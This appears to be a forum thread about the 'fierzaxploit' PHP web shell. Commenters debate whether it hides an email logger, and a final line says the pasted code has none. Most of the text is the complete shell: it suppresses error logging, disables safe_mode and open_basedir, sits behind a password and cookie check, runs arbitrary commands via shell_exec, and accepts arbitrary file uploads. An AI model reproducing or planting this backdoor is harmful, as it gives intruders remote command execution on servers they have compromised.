no fierzaxploit shell have mail logger inside, every fierzaxploit shell has email logger inside the code, i know because i've reverse the encryption back then so i suggest you to delete it lol, but its up to you
2s4cx43kCan you share the results?
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('error_log', NULL);
@ini_set('open_basedir', '');
@ini_set('safe_mode', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('SELF', $_SERVER['PHP_SELF']);
@define('SERVER_SOFTWARE', $_SERVER['SERVER_SOFTWARE']);
@define('SET_COOKIE', base64_decode('c2V0Y29va2ll'));
@define('VERSION', '1.0');
@header("Content-Type: text/html; charset=UTF-8");
$back_connect_p = 'bXJia1s6ezt1cmxjcHhsO2B5amx6ZW5id2hzM2ppd2pzNGlrY2l4ZGVsaA==';
function ws($string) {
$encoded = "";
for ($i=0; $i < strlen($string); $i++) {
$encoded .= '%' . bin2hex($string[$i]);
}
return $encoded;
}
$pass = "21232f297a57a5a743894a0e4a801fc3";
$salt = "nazi";
if (isset($_POST['pass']) && (md5($_POST['pass'].$salt)==$pass)) {
setcookie("pass", $pass);
}
if (isset($_GET['logout'])) {
setcookie("pass", "", time() - 3600);
header("Location: ".SELF);
}
if (isset($_COOKIE['pass']) && ($_COOKIE['pass']==$pass)) {
if (isset($_POST['cmd'])) {
echo "<pre>".shell_exec($_POST['cmd'])."</pre>";
} elseif (isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
echo "<pre>Uploaded: ".$_FILES['file']['name']."</pre>";
} else {
echo '<html><body><form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file"><input type="submit" value="Upload">';
echo '</form>';
echo '<form method="post">';
echo '<input type="text" name="cmd" autofocus>';
echo '<input type="submit" value="Execute">';
echo '</form>';
echo '</body></html>';
}
exit;
} else {
echo '<html><body><form method="post">';
echo '<input type="password" name="pass" autofocus>';
echo '<input type="submit" value="Login">';
echo '</form></body></html>';
}
?>
My research determines that it does not contain any functionality related to a mail logger.